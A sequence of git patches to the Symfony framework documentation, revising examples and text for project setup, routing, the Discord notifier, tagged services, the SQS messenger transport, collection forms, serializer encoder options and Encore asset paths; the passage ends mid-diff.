diff --git a/setup.rst b/setup.rst
index b2fe9ab23bd..1bf907318d9 100644
--- a/setup.rst
+++ b/setup.rst
@@ -67,7 +67,7 @@ with the ``new`` command:
 
 .. code-block:: terminal
 
-    $ symfony new my_project_name --version=3.4
+    $ symfony new my_project_name 3.4
 
 This command creates a new directory called ``my_project_name/`` that contains
 an empty project based on the most recent stable Symfony version available. In
@@ -111,14 +111,14 @@ In case your project needs to be based on a specific Symfony version, use the
 .. code-block:: terminal
 
     # use the most recent version in any Symfony branch
-    $ symfony new my_project_name --version=3.3
-    $ symfony new my_project_name --version=3.4
+    $ symfony new my_project_name 3.3
+    $ symfony new my_project_name 3.4
 
     # use the most recent 'lts' version (Long Term Support version)
-    $ symfony new my_project_name --version=lts
+    $ symfony new my_project_name lts
 
     # use the 'next' Symfony version to be released (still in development)
-    $ symfony new my_project_name --version=next
+    $ symfony new my_project_name next
 
 Each version has its *own* documentation, which you can select on any documentation
 page.

From 2e848b41189b82cee4d46a1277f2116e5ab75bac Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 3 Nov 2020 15:43:05 +0100
Subject: [PATCH 0092/5766] Minor: Use Twig code block

this way it can easily be copied
---
 routing.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 5aaebf659cd..ed7e5df48f8 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2266,8 +2266,11 @@ generating the route::
 
     $this->generateUrl('blog_show', ['slug' => 'slug-value']);
 
-    // or, in Twig
-    // {{ path('blog_show', {slug: 'slug-value'}) }}
+or, in Twig:
+
+.. code-block:: twig
+
+    {{ path('blog_show', {slug: 'slug-value'}) }}
 
 Learn more about Routing
 ------------------------

From dbed899b608229706ed88b84fb36d5e7a7ba7da1 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sun, 25 Oct 2020 16:42:30 +0100
Subject: [PATCH 0093/5766] [Notifier][Discord] Use correct use statements

---
 notifier/chatters.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 9d03f83987c..7fe42a02f67 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -107,11 +107,11 @@ With a Discord message, you can use the
 :class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` to add
 some interactive options called `Embed elements`_::
 
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Block\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
     use Symfony\Component\Notifier\Message\ChatMessage;
 
     $chatMessage = new ChatMessage('');

From 958aeafd32cb4bd44aefb540efb59442911d3e1e Mon Sep 17 00:00:00 2001
From: Florian Hermann <florian.hermann94@gmail.com>
Date: Tue, 3 Nov 2020 16:47:40 +0100
Subject: [PATCH 0094/5766] Add priority order explanation for tagged services

---
 service_container/tags.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 7ec5fcc5637..bbe7df1af6b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -596,8 +596,9 @@ Tagged Services with Priority
 
     The ability to prioritize tagged services was introduced in Symfony 4.4.
 
-The tagged services can be prioritized using the ``priority`` attribute,
-thus providing a way to inject a sorted collection of services:
+The tagged services can be prioritized using the ``priority`` attribute.
+The priority is a positive or negative integer. The higher the number,
+the earlier the tagged service will be located in the collection:
 
 .. configuration-block::
 
@@ -655,7 +656,7 @@ service itself::
         }
     }
 
-If you want to have another method defining the priority 
+If you want to have another method defining the priority
 (e.g. ``getPriority()`` rather than ``getDefaultPriority()``),
 you can define it in the configuration of the collecting service:
 

From 447065dc4fe6fb83fd658bf4ea1bd10c65821d60 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Wed, 4 Nov 2020 10:03:11 +0100
Subject: [PATCH 0095/5766] Add documentation about GetQueueUrl and DSN format
 in SQS transport

---
 messenger.rst | 15 +++++++++++++--
 1 file changed, 13 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 6c2f2e35794..2e41a0ca86f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1300,7 +1300,7 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport as introduced in Symfony 5.1.
+    The Amazon SQS transport has been introduced in Symfony 5.1.
 
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
@@ -1314,7 +1314,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=sqs://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/messages
+    MESSENGER_TRANSPORT_DSN=https://AKIAIOSFODNN7EXAMPLE:j17M97ffSVoKI0briFoo9a@sqs.eu-west-3.amazonaws.com/123456789012/messages
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::
@@ -1322,6 +1322,17 @@ The SQS transport DSN may looks like this:
     The transport will automatically create queues that are needed. This
     can be disabled setting the ``auto_setup`` option to ``false``.
 
+.. tip::
+
+    Before sending or receiving a message, Symfony needs to convert the queue
+    name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
+    extra API call can be avoided by providing a DSN which is the queue URL.
+
+.. versionadded:: 5.2
+
+    Providing a DSN equals to the queue URL to avoid call to ``GetQueueUrl``
+    has been introduced in Symfony 5.2.
+
 The transport has a number of options:
 
 ======================  ======================================  ===================================

From 2a48c4410f659638d42c51c0e8388cfe7a177030 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Nov 2020 10:26:53 +0100
Subject: [PATCH 0096/5766] Tweaks

---
 messenger.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2e41a0ca86f..ac07b40c624 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1300,7 +1300,7 @@ Amazon SQS
 
 .. versionadded:: 5.1
 
-    The Amazon SQS transport has been introduced in Symfony 5.1.
+    The Amazon SQS transport was introduced in Symfony 5.1.
 
 The Amazon SQS transport is perfect for application hosted on AWS. Install it by
 running:
@@ -1328,10 +1328,9 @@ The SQS transport DSN may looks like this:
     name into an AWS queue URL by calling the ``GetQueueUrl`` API in AWS. This
     extra API call can be avoided by providing a DSN which is the queue URL.
 
-.. versionadded:: 5.2
+    .. versionadded:: 5.2
 
-    Providing a DSN equals to the queue URL to avoid call to ``GetQueueUrl``
-    has been introduced in Symfony 5.2.
+        The feature to provide the queue URL in the DSN was introduced in Symfony 5.2.
 
 The transport has a number of options:
 

From 3abecebd33c11c0373a775f0b9de1d0c491798e4 Mon Sep 17 00:00:00 2001
From: Thibaut Cheymol <thibaut.cheymol@gmail.com>
Date: Sun, 4 Oct 2020 22:53:49 +0200
Subject: [PATCH 0097/5766] [Collection forms] Make javascript generic

---
 form/form_collections.rst | 37 +++++++++++++++++++------------------
 1 file changed, 19 insertions(+), 18 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 1d0b56c244a..068b4c84985 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -242,7 +242,13 @@ the following ``data-prototype`` attribute to the existing ``<ul>`` in your temp
 
 .. code-block:: html+twig
 
-    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}">
+    <ul class="tags" data-prototype="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"></ul>
+
+Now add a button just next to the ``<ul>`` to dynamically add a new tag
+
+.. code-block:: html+twig
+
+    <button type="button" class="add_item_link" data-collection-holder-class="tags">Add a tag</button>
 
 On the rendered page, the result will look something like this:
 
@@ -285,27 +291,18 @@ will be show next):
 
 .. code-block:: javascript
 
-    var $collectionHolder;
-
-    // setup an "add a tag" link
-    var $addTagButton = $('<button type="button" class="add_tag_link">Add a tag</button>');
-    var $newLinkLi = $('<li></li>').append($addTagButton);
-
     jQuery(document).ready(function() {
         // Get the ul that holds the collection of tags
-        $collectionHolder = $('ul.tags');
-
-        // add the "add a tag" anchor and li to the tags ul
-        $collectionHolder.append($newLinkLi);
-
+        var $tagsCollectionHolder = $('ul.tags');
         // count the current form inputs we have (e.g. 2), use that as the new
         // index when inserting a new item (e.g. 2)
-        $collectionHolder.data('index', $collectionHolder.find('input').length);
+        $tagsCollectionHolder.data('index', $tagsCollectionHolder.find('input').length);
 
-        $addTagButton.on('click', function(e) {
+        $('body').on('click', '.add_item_link', function(e) {
+            var $collectionHolderClass = $(e.currentTarget).data('collectionHolderClass');
             // add a new tag form (see next code block)
-            addTagForm($collectionHolder, $newLinkLi);
-        });
+            addFormToCollection($collectionHolderClass);
+        })
     });
 
 The ``addTagForm()`` function's job will be to use the ``data-prototype`` attribute
@@ -319,7 +316,10 @@ one example:
 
 .. code-block:: javascript
 
-    function addTagForm($collectionHolder, $newLinkLi) {
+    function addFormToCollection($collectionHolderClass) {
+        // Get the ul that holds the collection of tags
+        var $collectionHolder = $('.' + $collectionHolderClass);
+
         // Get the data-prototype explained earlier
         var prototype = $collectionHolder.data('prototype');
 
@@ -341,7 +341,8 @@ one example:
 
         // Display the form in the page in an li, before the "Add a tag" link li
         var $newFormLi = $('<li></li>').append(newForm);
-        $newLinkLi.before($newFormLi);
+        // Add the new form at the end of the list
+        $collectionHolder.append($newFormLi)
     }
 
 .. note::

From acfe6b620538d4bc21b9e2d9bd81bb8be0aef4fb Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 5 Nov 2020 15:11:29 +0100
Subject: [PATCH 0098/5766] [#14340] Some minor textual changes

---
 form/form_collections.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 068b4c84985..405ffed53e4 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -280,14 +280,12 @@ On the rendered page, the result will look something like this:
     and you need to adjust the following JavaScript accordingly.
 
 The goal of this section will be to use JavaScript to read this attribute
-and dynamically add new tag forms when the user clicks a "Add a tag" link.
+and dynamically add new tag forms when the user clicks the "Add a tag" button.
 This example uses jQuery and assumes you have it included somewhere on your page.
 
-Add a ``script`` tag somewhere on your page so you can start writing some JavaScript.
-
-First, add a link to the bottom of the "tags" list via JavaScript. Second,
-bind to the "click" event of that link so you can add a new tag form (``addTagForm()``
-will be show next):
+Add a ``script`` tag somewhere on your page so you can start writing some
+JavaScript. In this script, bind to the "click" event of the "Add a tag"
+button so you can add a new tag form (``addFormToCollection()`` will be show next):
 
 .. code-block:: javascript
 

From 4bdab6fb8fc7f06eb05b3c5141a1ed415b1b035c Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sun, 3 May 2020 21:36:09 +0200
Subject: [PATCH 0099/5766] Add wither behavior with PHP8 static return type

---
 service_container/calls.rst | 19 ++++++++++++++++---
 1 file changed, 16 insertions(+), 3 deletions(-)

diff --git a/service_container/calls.rst b/service_container/calls.rst
index 11dea241613..8496caa724a 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -90,9 +90,6 @@ instead of mutating the object they were called on::
     {
         private $logger;
 
-        /**
-         * @return static
-         */
         public function withLogger(LoggerInterface $logger)
         {
             $new = clone $this;
@@ -146,3 +143,19 @@ The configuration to tell the container it should do so would be like:
 
         $container->register(MessageGenerator::class)
             ->addMethodCall('withLogger', [new Reference('logger')], true);
+
+If autowire is enabled, you can also use annotations; with the previous exemple it would be::
+
+    /**
+     * @required
+     * @return static
+     */
+    public function withLogger(LoggerInterface $logger)
+    {
+        $new = clone $this;
+        $new->logger = $logger;
+
+        return $new;
+    }
+
+You can also leverage the PHP8 ``static`` return type instead of the ``@return static`` annotation. Note if you don't want a method with a PHP8 ``static`` return type and a ``@required`` annotation to behave as a wither, you can add a ``@return $this`` annotation to disable the *returns clone* feature.

From 281d758f331081bf27e6046958169474b5bff53c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 5 Nov 2020 16:12:49 +0100
Subject: [PATCH 0100/5766] [#13619] Moved text into a note and added
 versionadded

---
 service_container/calls.rst | 36 ++++++++++++++++++++++++------------
 1 file changed, 24 insertions(+), 12 deletions(-)

diff --git a/service_container/calls.rst b/service_container/calls.rst
index 8496caa724a..7f12a38ac4c 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -144,18 +144,30 @@ The configuration to tell the container it should do so would be like:
         $container->register(MessageGenerator::class)
             ->addMethodCall('withLogger', [new Reference('logger')], true);
 
-If autowire is enabled, you can also use annotations; with the previous exemple it would be::
+.. tip::
 
-    /**
-     * @required
-     * @return static
-     */
-    public function withLogger(LoggerInterface $logger)
-    {
-        $new = clone $this;
-        $new->logger = $logger;
+    If autowire is enabled, you can also use annotations; with the previous
+    example it would be::
 
-        return $new;
-    }
+        /**
+         * @required
+         * @return static
+         */
+        public function withLogger(LoggerInterface $logger)
+        {
+            $new = clone $this;
+            $new->logger = $logger;
+
+            return $new;
+        }
+
+    You can also leverage the PHP 8 ``static`` return type instead of the
+    ``@return static`` annotation. If you don't want a method with a
+    PHP 8 ``static`` return type and a ``@required`` annotation to behave as
+    a wither, you can add a ``@return $this`` annotation to disable the
+    *returns clone* feature.
+
+    .. versionadded:: 5.1
 
-You can also leverage the PHP8 ``static`` return type instead of the ``@return static`` annotation. Note if you don't want a method with a PHP8 ``static`` return type and a ``@required`` annotation to behave as a wither, you can add a ``@return $this`` annotation to disable the *returns clone* feature.
+        Support for the PHP 8 ``static`` return type was introduced in
+        Symfony 5.1.

From 9176faa6375ed46433c14487f9753425b75f1cef Mon Sep 17 00:00:00 2001
From: LucileDT <lucile.decrozant.triquenaux@protonmail.com>
Date: Wed, 13 May 2020 17:56:48 +0200
Subject: [PATCH 0101/5766] Add array example on ChoiceType choice_attr option

---
 reference/forms/types/options/choice_attr.rst.inc | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/forms/types/options/choice_attr.rst.inc b/reference/forms/types/options/choice_attr.rst.inc
index ac149f3999d..b86b7450778 100644
--- a/reference/forms/types/options/choice_attr.rst.inc
+++ b/reference/forms/types/options/choice_attr.rst.inc
@@ -13,6 +13,20 @@ If an array, the keys of the ``choices`` array must be used as keys::
     use Symfony\Component\Form\Extension\Core\Type\ChoiceType;
     // ...
 
+    $builder->add('fruits', ChoiceType::class, [
+        'choices' => [
+            'Apple' => 1,
+            'Banana' => 2,
+            'Durian' => 3,
+        ],
+        'choice_attr' => [
+            'Apple' => ['data-color' => 'Red'],
+            'Banana' => ['data-color' => 'Yellow'],
+            'Durian' => ['data-color' => 'Green'],
+        ],
+    ]);
+
+    // or use a callable
     $builder->add('attending', ChoiceType::class, [
         'choices' => [
             'Yes' => true,

From 0163ab399562c2a84acee070dee73b79d843434d Mon Sep 17 00:00:00 2001
From: armin-github <arminpeymann@yahoo.com>
Date: Thu, 27 Feb 2020 17:50:51 +0100
Subject: [PATCH 0102/5766] addressed issue #11786

The following issue has been addressed: Repeated entry in the Serializer components doc #11786
The separate documentations for XMLEncoder were put into one section with minor changes in text. The documentation now contains one single section for XMLEncoder.
---
 components/serializer.rst | 110 +++++++++++++++-----------------------
 1 file changed, 42 insertions(+), 68 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index eba1e0a57cc..fdc34fb6f44 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -841,8 +841,20 @@ The ``XmlEncoder`` will encode this object like that::
         <bar>1</bar>
     </response>
 
-Be aware that this encoder will consider keys beginning with ``@`` as attributes, and will use
-the key  ``#comment`` for encoding XML comments::
+The special ``#`` key can be used to define the data of a node::
+
+    ['foo' => ['@bar' => 'value', '#' => 'baz']];
+
+    // is encoded as follows:
+    // <?xml version="1.0"?>
+    // <response>
+    //     <foo bar="value">
+    //        baz
+    //     </foo>
+    // </response>
+
+Furthermore, keys beginning with ``@`` will be considered attributes, and
+the key  ``#comment`` can be used for encoding XML comments::
 
     $encoder = new XmlEncoder();
     $encoder->encode([
@@ -869,6 +881,34 @@ always as a collection.
     changed with the optional ``$encoderIgnoredNodeTypes`` argument of the
     ``XmlEncoder`` class constructor.
 
+The ``XmlEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the XmlEncoder an associative array::
+
+    $xmlEncoder->encode($array, 'xml', $context);
+
+These are the options available:
+
+``xml_format_output``
+    If set to true, formats the generated XML with line breaks and indentation.
+
+``xml_version``
+    Sets the XML version attribute (default: ``1.1``).
+
+``xml_encoding``
+    Sets the XML encoding attribute (default: ``utf-8``).
+
+``xml_standalone``
+    Adds standalone attribute in the generated XML (default: ``true``).
+
+``xml_root_node_name``
+    Sets the root node name (default: ``response``).
+
+``remove_empty_tags``
+    If set to true, removes all empty tags in the generated XML (default: ``false``).
+
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -1192,72 +1232,6 @@ you indicate that you're expecting an array instead of a single object::
     $data = ...; // The serialized data from the previous example
     $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
 
-The ``XmlEncoder``
-------------------
-
-This encoder transforms arrays into XML and vice versa. For example, take an
-object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` encodes this object as follows:
-
-.. code-block:: xml
-
-    <?xml version="1.0"?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The array keys beginning with ``@`` are considered XML attributes::
-
-    ['foo' => ['@bar' => 'value']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    // </response>
-
-Use the special ``#`` key to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">baz</foo>
-    // </response>
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-``xml_format_output``
-    If set to true, formats the generated XML with line breaks and indentation.
-
-``xml_version``
-    Sets the XML version attribute (default: ``1.1``).
-
-``xml_encoding``
-    Sets the XML encoding attribute (default: ``utf-8``).
-
-``xml_standalone``
-    Adds standalone attribute in the generated XML (default: ``true``).
-
-``xml_root_node_name``
-    Sets the root node name (default: ``response``).
-
-``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML (default: ``false``).
 
 The ``CsvEncoder``
 ------------------

From adf1978d322bcf2977cdc7c5c8ce01a4b5402886 Mon Sep 17 00:00:00 2001
From: Maarten de Keizer <github@maartendekeizer.nl>
Date: Sun, 8 Nov 2020 10:08:32 +0100
Subject: [PATCH 0103/5766] Correct case of suffix in example rate limiter

The suffix should be with an uppercase (`limiter` -> `Limiter)
---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 22a56168498..f5473607fe7 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -129,7 +129,7 @@ the number of requests to the API::
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
-        // "rate limiter name" (in camelCase) + "limiter" suffix
+        // "rate limiter name" (in camelCase) + "Limiter" suffix
         public function index(RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client

From d397c38b43ba4fddcc49326ae1d415049e805d69 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 5 Nov 2020 18:47:02 +0100
Subject: [PATCH 0104/5766] Merge encoder sections and show options in a table

---
 components/serializer.rst | 108 ++++++++++++++++----------------------
 1 file changed, 44 insertions(+), 64 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index fdc34fb6f44..20d31fa8c0c 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -823,6 +823,38 @@ The ``CsvEncoder``
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
+The ``CsvEncoder`` Context Options
+..................................
+
+The ``encode()`` method defines a third optional parameter called ``context``
+which defines the configuration options for the CsvEncoder an associative array::
+
+    $csvEncoder->encode($array, 'csv', $context);
+
+These are the options available:
+
+======================= ====================================================  ==========================
+Option                  Description                                           Default
+======================= ====================================================  ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one       ``,``
+                        character only)
+``csv_enclosure``       Sets the field enclosure (one character only)         ``"``
+``csv_escape_char``     Sets the escape character (at most one character)
+``csv_key_separator``   Sets the separator for array's keys during its        ``.``
+                        flattening
+``csv_headers``         Sets the headers for the data                         ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
+                        with a ``\t`` character
+``as_collection``       Always returns results as a collection, even if only
+                        one line is decoded.
+``no_headers``          Disables header in the encoded CSV                    ``false``
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data  ``false``
+======================= ====================================================  ==========================
+
+.. versionadded:: 4.4
+
+    The ``output_utf8_bom`` option was introduced in Symfony 4.4.
+
 The ``XmlEncoder``
 ~~~~~~~~~~~~~~~~~~
 
@@ -891,23 +923,18 @@ which defines the configuration options for the XmlEncoder an associative array:
 
 These are the options available:
 
-``xml_format_output``
-    If set to true, formats the generated XML with line breaks and indentation.
-
-``xml_version``
-    Sets the XML version attribute (default: ``1.1``).
-
-``xml_encoding``
-    Sets the XML encoding attribute (default: ``utf-8``).
-
-``xml_standalone``
-    Adds standalone attribute in the generated XML (default: ``true``).
-
-``xml_root_node_name``
-    Sets the root node name (default: ``response``).
-
-``remove_empty_tags``
-    If set to true, removes all empty tags in the generated XML (default: ``false``).
+======================  ==================================================== ==========================
+Option                  Description                                          Default
+======================  ==================================================== ==========================
+``xml_format_output``   If set to true, formats the generated XML with line
+                        breaks and indentation.
+``xml_version``         Sets the XML version attribute                       ``1.1``
+``xml_encoding``        Sets the XML encoding attribute                      ``utf-8``
+``xml_standalone``      Adds standalone attribute in the generated XML       ``true``
+``xml_root_node_name``  Sets the root node name (default: ``response``).
+``remove_empty_tags``   If set to true, removes all empty tags in the        ``false``
+                        generated XML
+======================  ==================================================== ==========================
 
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
@@ -1232,53 +1259,6 @@ you indicate that you're expecting an array instead of a single object::
     $data = ...; // The serialized data from the previous example
     $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
 
-
-The ``CsvEncoder``
-------------------
-
-This encoder transforms arrays into CSV and vice versa.
-
-Context
-~~~~~~~
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-``csv_delimiter``
-    Sets the field delimiter separating values (one character only, default: ``,``).
-
-``csv_enclosure``
-    Sets the field enclosure (one character only, default: ``"``).
-
-``csv_escape_char``
-    Sets the escape character (at most one character, default: empty string).
-
-``csv_key_separator``
-    Sets the separator for array's keys during its flattening (default: ``.``).
-
-``csv_headers``
-    Sets the headers for the data (default: ``[]``, inferred from input data's keys).
-
-``csv_escape_formulas``
-    Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``).
-
-``as_collection``
-    Always returns results as a collection, even if only one line is decoded.
-
-``no_headers``
-    Disables header in the encoded CSV (default: ``false``).
-
-``output_utf8_bom``
-    Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
-
-.. versionadded:: 4.4
-
-    The ``output_utf8_bom`` option was introduced in Symfony 4.4.
-
 Handling Constructor Arguments
 ------------------------------
 

From bdbd7a697ea722e4a5e076b590d52e4472f06521 Mon Sep 17 00:00:00 2001
From: Yoann Chocteau <Yoann-TYT@users.noreply.github.com>
Date: Mon, 9 Nov 2020 09:28:21 +0100
Subject: [PATCH 0105/5766] Update simple-example.rst

Just a little typo, now we use ./styles and not ../css
---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 3d38686ce05..d0ed86a5922 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -17,7 +17,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
     // assets/app.js
     // ...
 
-    import '../css/app.css';
+    import './styles/app.css';
 
     // var $ = require('jquery');
 

From 6d51c6c80038ef53d5948837681fd2b46a25c595 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Sun, 4 Oct 2020 04:06:32 +0200
Subject: [PATCH 0106/5766] [Serializer] move note on Custom Normalizer page
 about cacheable performance

---
 components/serializer.rst        | 26 --------------------------
 serializer/custom_normalizer.rst | 29 +++++++++++++++++++++++++++++
 2 files changed, 29 insertions(+), 26 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 345642c9770..515773d18c3 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1499,32 +1499,6 @@ Once configured, the serializer uses the mapping to pick the correct class::
     $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
     // instanceof GitHubCodeRepository
 
-Performance
------------
-
-To figure which normalizer (or denormalizer) must be used to handle an object,
-the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
-:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
-(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
-of all registered normalizers (or denormalizers) in a loop.
-
-The result of these methods can vary depending on the object to serialize, the
-format and the context. That's why the result **is not cached** by default and
-can result in a significant performance bottleneck.
-
-However, most normalizers (and denormalizers) always return the same result when
-the object's type and the format are the same, so the result can be cached. To
-do so, make those normalizers (and denormalizers) implement the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
-and return ``true`` when
-:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
-is called.
-
-.. note::
-
-    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
-    as well the ones included in `API Platform`_ natively implement this interface.
-
 Learn more
 ----------
 
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 9f2e50fdcf1..2c7c7eedf88 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -60,3 +60,32 @@ Before using this normalizer in a Symfony application it must be registered as
 a service and :doc:`tagged </service_container/tags>` with ``serializer.normalizer``.
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
+
+Performance
+-----------
+
+To figure which normalizer (or denormalizer) must be used to handle an object,
+the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
+:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
+(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
+of all registered normalizers (or denormalizers) in a loop.
+
+The result of these methods can vary depending on the object to serialize, the
+format and the context. That's why the result **is not cached** by default and
+can result in a significant performance bottleneck.
+
+However, most normalizers (and denormalizers) always return the same result when
+the object's type and the format are the same, so the result can be cached. To
+do so, make those normalizers (and denormalizers) implement the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
+and return ``true`` when
+:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
+is called.
+
+.. note::
+
+    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
+    as well the ones included in `API Platform`_ natively implement this interface.
+
+.. _`API Platform`: https://api-platform.com
+

From cca746686382f80f3a9307915d92669e9c3c6d5e Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Thu, 5 Nov 2020 15:18:19 +0100
Subject: [PATCH 0107/5766] [Encore] Fix CSS path

---
 frontend/encore/installation.rst   |  2 +-
 frontend/encore/simple-example.rst | 10 +++++-----
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 8241dbcd0b2..bbd6469a1c3 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -143,7 +143,7 @@ Next, open the new ``assets/app.js`` file which contains some JavaScript code
      */
 
     // any CSS you import will output into a single css file (app.css in this case)
-    import '../css/app.css';
+    import './styles/app.css';
 
     // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
     // import $ from 'jquery';
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
